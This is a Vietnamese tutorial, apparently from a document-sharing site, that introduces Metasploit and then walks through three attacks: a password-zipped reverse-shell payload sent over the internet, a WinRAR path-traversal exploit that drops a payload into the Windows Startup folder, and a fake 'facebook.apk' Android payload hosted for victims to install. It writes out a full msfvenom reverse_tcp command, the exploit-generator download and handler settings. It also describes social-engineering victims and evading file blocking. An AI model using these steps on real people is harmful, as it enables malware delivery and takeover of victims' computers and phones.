You are on page 1of 20

CHƯƠNG I: GIỚI THIỆU VỀ METASPLOIT

I. Giới thiệu
1.1. Lịch sử
Metasploit được phát triển vào năm 2003 như là một open source project bởi H.D.
Moore. Ban đầu được phát triển trong PERL, nhóm phát triển đã viết lại Metasploit trong Ruby
vào năm 2007, do đó bạn cần có Ruby trên hệ thống để có thể chạy Metasploit và phát triển các
khai thác của riêng bạn.
Sau nhiều năm thành công trong cộng đồng hacker/penetration tester, nó đã được Rapid7
mua lại vào năm 2009. Sau đó, Metasploit framework được chia thành ba phiên bản, trong đó
có hai phiên bản Metasploit Express và Metasploit Professional là phiên bản thương mại,
Metasploit Professional được bán với giá 1.800$. Cả hai đều sở hữu một giao diện khá đẹp
nhiều bells và whistles, bao gồm cả chức năng tự động hóa một số cuộc tấn công. Ngoài ra còn
có một phiên bản là open source community edition được gọi là Metasploit Community.
May mắn thay, một số nhà phát triển độc lập tại Armitage đã tạo ra một GUI nguồn mở
miễn phí cho Metasploit, giao diện khá đẹp và thanh lịch, thích hợp sử dụng cho những người
thích chế độ hoạt động point-and-click.
Metasploit phiên bản dành cho Windows, sở hữu nhiều tính năng (raw IP packet
injection, wireless driver exploitation, SMB relaying attacks,) không có sẵn trong môi trường
Windows, hạn chế này có thể khắc phục bằng cách sử dụng Cygwin hoặc chạy Windows trong
môi trường ảo trên Linux.
1.2. Khái niệm
Metasploit Framework là một môi trường dùng để kiểm tra, tấn công và khai thác lỗi của
các service. Ban đầu Metasploit được xây dựng từ ngôn ngữ hướng đối tượng Perl với những
component được viết bằng C và Python sau đó được viết lại vằng ruby. Đây là một công cụ mã
nguồn mở phát triển nhằm sử dụng các shellcode để tấn công, khai thác khai thác lỗi của các
dịch vụ Metasploit có thể chạy trên hầu hết các hệ điều hành: Linux, Windows, MacOS.
Một số khái niệm cơ bản:
 RHOST: Địa chỉ IP của máy bị tấn công. Nếu tấn công ngoài Internet thì là IP
Public, RHOST cũng có thể là URL Website.
 LHOST: Địa chỉ IP của máy Hacker. Nếu tấn công ngoài Internet thì là IP Public.
 LPORT: Port mở ra trên máy Hacker. Nếu tấn công ngoài Internet thì bắt buộc Port
đó phải mở trên Router, còn hack trong mạng LAN thì port nào cũng được.
 RPORT: Port trên máy bị tấn công. Khi đi khai thác lỗ hổng, tùy lỗ hổng nằm trên
giao thức nào thì có các RPORT đặc thù, thực chất Metasploit sẽ tự đặt cho các bạn.
 PAYLOAD: Có cấu trúc như sau: Tên hệ điều hành / Kiểu hệ thống / Kiểu tấn công /
Giao thức.
o Tên hệ điều hành: android hay windows
o Kiểu hệ thống: x86 hay x64
o Kiểu tấn công: meterpreter hay shell
o Giao thức: reverse_tcp, reverse_tcp_dns, reverse_https
Ví dụ: windows/meterpreter/reverse_tcp_dns
Giới thiệu một số lệnh cơ bản
- Back: Lệnh này dùng khi bạn muốn thoát ra khỏi module bạn đã chọn trước đó sau khi hoàn
thành công việc hoặc muốn chuyển sang công việc khác.
Ví dụ: msf payload(reverse http) > back msf>
- Check: Lệnh này giúp ta kiểm tra đã cấu hình đúng cho khai thác chưa, mọi việc đã hoàn
thành chưa. Cho ta biết kết quả mà không cần phải thực thi khai thác đó. Nhưng không phải tất
cả mọi mã khai thác đều hỗ trợ lệnh này.
- Connect: Lệnh này giống như một bản netcat thu nhỏ đc cho vào metasploit được hỗ trợ với
ssl, proxy, pivoting... Với việc dùng câu lệnh connect với địa chỉ ip và port tương ứng, chúng ta
có thể connect tới một host từ metasploit giống như khi dùng với netcat hoặc telnet vậy.
Ví dụ: msf > connect 118.69.228.254 22
- Info: Lệnh này cho biết những thông tin chi tiết của một module (hay một mã khai thác nào
đó ). Hiển thị cho ta thông tin cơ bản nhất, bao gồm cả các tùy chọn cần thiết.
- Irb: Lệnh này cho ta thao tác trên môi trường của ruby.
Ví dụ: msf > irb --h
- Jobs: Lệnh này cho ta biết các module đang chạy.
- Load: Lệnh này để load một plugin từ metasploit plugins.
- Search: Lệnh này giúp ta tìm kiếm exploit, auxiliary, encoder. Trong đó nó còn hỗ trợ một số
keywork giúp cải tiến khả năng tìm kiếm như: name, path, platform, port, type, app, author,
cve, bid, osvdb, edb.
Ví dụ: search cve:2009 type:exploit app:client.
- Sessions: lệnh này liệt kê các session đang tồn tại, session ở đây có thể là session của shell,
của meterpreter ....
- Set - Unset: Lệnh cho phép ta cấu hình cho các exploit... lệnh này gặp thường xuyên. Unset là
lệnh có ý nghĩa ngược lại.
- Setg - Unsetg: Trong quá trình thực hiện tấn công một mục tiêu, hoặc nhiều mục tiêu. Ta có
thể dùng một exploit hoặc đôi khi là nhiều exploit. Có một vào option nếu set bình thường thì
ta phải set nhiều lần. Nhưng nếu ta để cho các option này có ý nghĩa toàn cục. Thì việc lặp lại
là không cần. Nó có hiệu lực cho mọi exploit, auxiliary. Đó là ý nghĩa của setg (global set). Để
hủy thì ta dùng unsetg. Nếu muốn lưu việc cấu hình này lại dùng lệnh "save".
- Show: Liệt kê các module hiện tại.
- Use: Cho phép chọn một một module.

II. Metasploit framework


2.1. Các giao diện Metasploit
Trong Kali Linux, Metasploit có nhiều hơn một giao diện với chức năng cơ bản của nó,
kể cả bàn điều khiển, dòng lệnh và giao diện đồ họa. Sau đây là các giao diện có sẵn:
MSFconsole
Msfconsole là phần phổ biến nhất của Metasploit Framwork. Nó là một trong những
công cụ hữu ích, giàu tính năng và được hỗ trợ tốt nhất trong Framework. MSFconsole cung
cấp giao diện tất cả trong một tiện dụng cho hầu hết tùy chọn và cài đặt có sẵn trong
Framework, nó giống như một cửa hàng duy nhất cho tất cả những giấc mơ khai thác của bạn.
Bạn có thể sử dụng msfconsole để làm mọi điều, bao gồm khởi chạy một khai thác, tải các mô-
đun phụ trợ, thực hiện phép liệt kê, tạo người nghe, hoặc chạy khai thác hàng loạt.
MSFcli
Msfcli và msfconsole mất rất nhiều thời gian tiếp cận để cung cấp quyền truy cập vào
framework. Ở đâu msfconsole cung cấp một tương tácCách để truy cập tất cả các tính năng
theo cách thân thiện với người dùng, msfcli đặt ưu tiên về kịch bản và diễn giảiy với bảng điều
khiển khác dựa trênols. Thay vì cung cấp một thông dịch viên duy nhất cho Frạn, msfcli chạy
trực tiếp từ dòng lệnh, cho phép người dùng chuyển hướng đầu ra từ các công cụ khác vào
msfcli và đầu ra msfcli trực tiếp sang dòng lệnh khác công cụ. Msfcli cũng hỗ trợ khởi chạy
các mô-đun khai thác và phụ trợ, và nó có thể thuận tiện khi kiểm tra các mô-đun hoặc phát
triển khai thác mới cho Frạn.
Armitage
Thành phần armitage của Metasploit là một người dùng đồ họa tương tác đầy đủ trong
interface được tạo bởi Raphael. Giao diện này rất ấn tượng, tính năng phong phú và avmiễn
phí GUI là 2 tuyệt vời khi một người hiểu how Framework thực sự hoạt động. To khởi chạy
Armitage, nhập armitage trong CLI của kali linux thiết bị đầu cuối.
2.2. Các Modules
 Auxiliary
Là một module cung cấp chưc năng tăng cường cho các thử nghiệm xâm nhập và quét lỗ
hổng cùng với các tác vụ tự động. Phân loại trong auxiliary module: module quét các giao thức
(như SMB, HTTP), module quét các port, wireless, IPV6, DOS, Server modules, Module khai
thác truy cập quản trị.
 Exploit
Exploits là một phương thức mà kẻ tấn công lợi dụng lỗ hổng trong hệ thống, dịch vụ,
ứng dụng…. Kẻ tấn công thường sử dụng điều này để làm một cái gì đó với hệ thống, dịch vụ,
ứng dụng cụ thể mà nó đang tấn công mà nhà phát triển hay người thực hiện không bao giờ có
ý định làm. Kiểu như lạm dụng. Đây là thứ mà kẻ tấn công sử dụng để có quyền truy cập vào
hệ thống.
 Payload
Trước tiên ta cần hiểu Payload là gì. Ta có thể hiểu một cách đơn giản thì nó là một đoạn
code thực thi trên máy nạn nhân, dùng để thực hiện một số hoạt động nào đó, hoặc dùng để kết
nối về máy của người tấn công. Vậy làm sao để có cái Payload này trên máy của nạn nhân. Có
2 phương pháp chủ yếu được dùng. Đó là gửi cho nạn nhân thông qua việc phân tính một lỗi, lỗ
hổng nào đó trên hệ thống của nạn nhân, từ đó đột nhập và gửi đoạn payload này cho nạn nhân.
Kiểu thứ 2 là gửi trực tiếp cho nạn nhân, chờ đợi nạn nhân sơ ý nhận nó (kĩ thuật social
engineering).
 Nop
Nop nó không được phổ biến và được biết đến cho bộ xử lý x86. Điều này có liên quan
đến shellcode và ngôn ngữ máy. Tóm lại, nó ngăn một chương trình (ở đây payload) bị sập
trong khi sử dụng các câu lệnh nhảy trong shellcode của nó. Nops loại vòng lặp hướng dẫn
ngôn ngữ máy ngay từ đầu nếu nó rơi vào vị trí bộ nhớ không hợp lệ sau khi đưa ra câu lệnh
nhảy. Do đó ngăn chặn tải trọng bị rơi. Đây là một phần của một khái niệm nâng cao và bạn
phải hiểu mã hóa shell để hiểu và sử dụng nops.
 Shellcode
Encoder là một tập hợp các hướng dẫn được sử dụng như một tải trọng khi khai thác xảy
ra. Shellcode thường được viết bằng ngôn ngữ lắp ráp. Trong hầu hết các trường hợp, shellcode
hoặc shell Meterpreter sẽ được cung cấp sau khi chuỗi lệnh được thực hiện bởi máy đích, do đó
có tên.
Biểu đồ cấu trúc của Metasploit framework
2.3. Các bước sử dụng Metasploit để khai thác lỗ hổng
Bước 1: Chọn module exploit: lựa chọn chương trình, dịch vụ lỗi mà Metasploit có hỗ trợ để
khai thác.
show exploits: xem các module exploit mà framework có hỗ trợ.
use exploit_name: chọn module exploit.
info exploit_name: xem thông tin về module exploit.
Bước 2: Cấu hình module exploit đã chọn
show options: Xác định những options nào cần cấu hình.
set: cấu hình cho những option của module đó.
Bước 3: Xem lại những options vừa cấu hình:
check: kiểm tra xem những option đã được cấu hình chính xác chưa.
Show options: cũng có thể kiểm tra xem các thông số vừa cấu hình.
Bước 4: Lựa chọn target, lựa chọn hệ điều hành nào để thực hiện.
show targets: những mục tiêu được cung cấp bởi module đó.
set: xác định mục tiêu.
Bước 5: Lựa chọn payload, payload là đoạn code mà sẽ chạy trên hệ thống remote machine.
show payloads: liệt kê ra những payload của module exploit hiện tại.
info payload_name: xem thông tin chi tiết về payload đó.
set PAYLOAD payload_name: xác định tên payload module.Sau khi lựa chọn payload
nào, dùng lệnh show options để xem những options của payload đó.
show advanced: xem những advanced options của payload đó.
Bước 6: Thực thi exploit
exploit: lệnh dùng để thực thi payload code. Payload sau đó sẽ cung cấp cho bạn những
thông tin về hệ thống được khai thác.
Bước 7: Hậu tấn công
Sau khi đã có phiên Meterpreter, chúng ta hoàn toàn có thể gõ lệnh help để show ra
những lệnh có thể dùng để khai thác thông tin nạn nhân.
CHƯƠNG II: MỘT SỐ TẤN CÔNG SỬ DỤNG METASPLOIT
2.1. Tấn công mạng Wan.
Mô hình

Kịch bản tấn công


Trên máy kali chúng ta sử dụng một payload độc hại, chúng ta xử lý file đó và nén file
đó lại để gửi qua mạng Internet mà không bị google chặn. Khi nạn nhân download file đó về,
giải nén và nhấp vào file độc hại thì file độc hại sẽ thực thi. Lúc này trên router của chúng ta đã
mở port và forward thẳng vào máy tấn công, khi file độc hại đã thực thi trên máy nạn nhân thì
chúng ta sử dụng Metasploit để khai thác máy nạn nhân.
Tấn công
Bước 1: Kiểm tra ip public.

Bước 2: Tạo file mã độc (payload) bằng msfvenom


 Chú ý: LHOST = ip public.
LPORT = port sẽ được mở trên router.
Iloveyou.txt là file mã độc được tạo.
Bước 3: Mở port trên router

 Chú ý: Internal Host: là ip cảu máy tấn công


External port number : Port mở trên router
Internal port number: port trên host mở
Bước 4: Xử lý file độc hại.
Vì chỉ test đơn giản nên mình chỉ nén file có passwork để file được truyền được trên
internet.

Bước 5: Gửi file nén này cho nạn nhân, có kèm theo passwork giải nén để nạn nhân giải
nén file.
Bước 6: Tấn công bằng metasploit
 Sử dụng module: exploit/multi/handler

 Set payload: windows/meterpreter/reverse_tcp

 Set các giá trị LHOST (ip của hacker), LPORT (tùy ý)

 Sử dụng lệnh exploit hoặc run để tấn công.

 Kiểm tra lại xem port chúng ta mở đã được bật chưa?


Bước 7: Trên máy nạn nhân. Nạn nhân nhấp vào file được giải nén để xem có gì. Khi
đó, nạn nhân đã bị lừa và file đã được thực thi trên máy tính của nạn nhân.

Bước 8: Kiểm tra kết quả tấn công.


2.2. Khai thác lỗ hổng trên ứng dụng WinRar.
Mô hình

Kịch bản tấn công


Trên máy tấn công kali linux chúng ta cài thêm công cụ EvilWinRar để hỗ trợ cho việc
tấn công. Sau khi cài EvilWinRar song chúng ta tạo một payload mã độc. Khi đã có payload
rồi, chúng ta có thể tạo một file nội dung bât kỳ, hoặc ảnh để làm nội dung gửi cho nạn nhân,
mã độc sẽ được chèn vào cùng với file nội dung này, sử dụng công cụ EvilWinRar để tạo 2 file
đó lại thành 1 file nén rồi gửi cho nạn nhân. Khi nạn nhân giải nén file đó ra, file mã độc sẽ
được tự động thực thi khi giải nén vào cài vào đường dẫn
"C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\". Khi nạn
nhân khởi động máy thì file đó tự động thực thi, và cho phép chúng ta tấn công vào máy đó.
Đây là kiểu tấn công dựa vào lỗ hổng của phầm mềm giải nén Winrar (phổ biến hiện nay).
Tấn công
Bước 1: Download Evil-WinRar
Link github https://github.com/manulqwerty/Evil-WinRAR-Gen
Hoặc chúng ta sử dụng câu lệnh git clone https://github.com/manulqwerty/Evil-WinRAR-
Gen.git để tải trược tiếp từ trang github.
Bước 2: Cài đặt và cấp quyền cho file
Cài đặt: pip3 install -r requirements.txt
Cấp quyền cho file: chmod 777 evilWinRAR.py

Bước 3: Tạo Payload


Sử dụng msfvenom để tạo file mã độc winrar.exe với LHOST là địa chỉ IP của hacker
LPORT tùy ý: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.5.1
LPORT=1234 -f exe > winrar.exe
Bước 4: Chạy file python cùng với file winrar.exe mới tạo và file nội dung để gửi cho
nạn nhân (ở đây tôi dùng 1 file ảnh NgocTrinh.jpg). Sử dụng lệnh: ./evilWinRAR.py -e
winrar.exe -g NgocTrinh.jpg.

Chúng ta chú ý đường đẫn "C:\C:C:../AppData\Roaming\Microsoft\Windows\Start


Menu\Programs\Startup\" đây sẽ là đường dẫn mà file winrar.exe được cài lên, và nó sẽ được
thực thi bất cứ khi nào máy nạn nhân khởi động. Và file được tạo ra là evil.rar (chúng ta có
thể thay đổi tên file tùy ý muốn).
Kiểm tra: Đúng file các file đã được tạo.

Bước 5: Gửi file evil.rar cho nạn nhân.


Ở đây vì đang tấn công trong mạng LAN nên chúng ta sử dụng luôn dịch vụ Apache2 để
gửi cho nạn nhân. Còn trường hợp chúng ta muốn tấn công qua mạng WAN thì có thể kết hợp
với phương pháp trước.
Bước 6: Bên phía nạn nhân.
Khi nạn nhân nhận được file evil.rar sẽ giải nén file và chúng ta xem kết quả trên nạn
nhân. Kiểm tra file nội dung, do có chèn mã độc vào mà nội dung đã bị thay đổi một chút, và
đường dẫn "C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"
cũng đã có xuất hiện điểm khác lạ.

Bước 7: Tấn công


Khởi động Metasploit, và sử dụng module như trong hình, kiểm tra options cần set.
Set options như hình dưới:

Sau đó sử dụng lệnh exploit để khai thác:

Khai thác thành công, chúng ta có thể theo dõi màn hình desktop của nạn nhân.
2.3. Tấn công Android.
Mô hình

Kịch bản tấn công


Chúng ta sử dụng máy kali linux làm máy tấn công, tạo một payload mã độc đuôi *.apk
để gửi cho nan nhân. Người dùng điện thoại tải file đó về và tiến hành cài đặt, khi nạn nhân
click vào icon thì kẻ tấn công có thể khai thách theo ý mình.
Tấn công
Bước 1: Khởi động dịch vụ postgresql và dịch vụ web.

Bươc 2: Tạo payload như hình dưới dùng msfvenom trong đó:
+ LHOST : là địa chỉ ip của máy chúng ta (Máy tấn công)
+ LPORT : là số hiệu port trên máy chúng ta
+ facebook.apk: là tên payload sẽ được cài trên máy nạn nhân, vì app được cài
trên máy android nên có đuôi mở rộng là apk.

Bước 3: Upload payload vừa tạo lên website, ở đây mình dùng chính máy chủ web
apache2 có sẵn.

Bước 4: Khởi động giao diện metasploit framework bằng lệnh “msfconcole”, sau đó
dùng modoule “exploit/multi/hander” và thiết lập các giá trị như hình dưới. Xong thì chạy lệnh
“exploit” hoặc các bạn có thể chạy bằng lệnh “run”.
Bước 5: Trên máy android của nạn nhân

Vào website mà attacker dựng sẵn có file facebook.apk

Click vào file facebook.apk sẻ tiến hành tải và cài đặt như hình bên dưới.
Sau khi hoàn tất cài đặt sẽ có icon trên màn hình chính như sau:
Bước 6: Trên máy tính kẻ tấn công

Sau khi nạn nhân click vào icon trên thì sẽ có thông báo như hình dưới và kẻ tấn công có
thể khai thác mục tiêu theo ý muốn của mình.

You might also like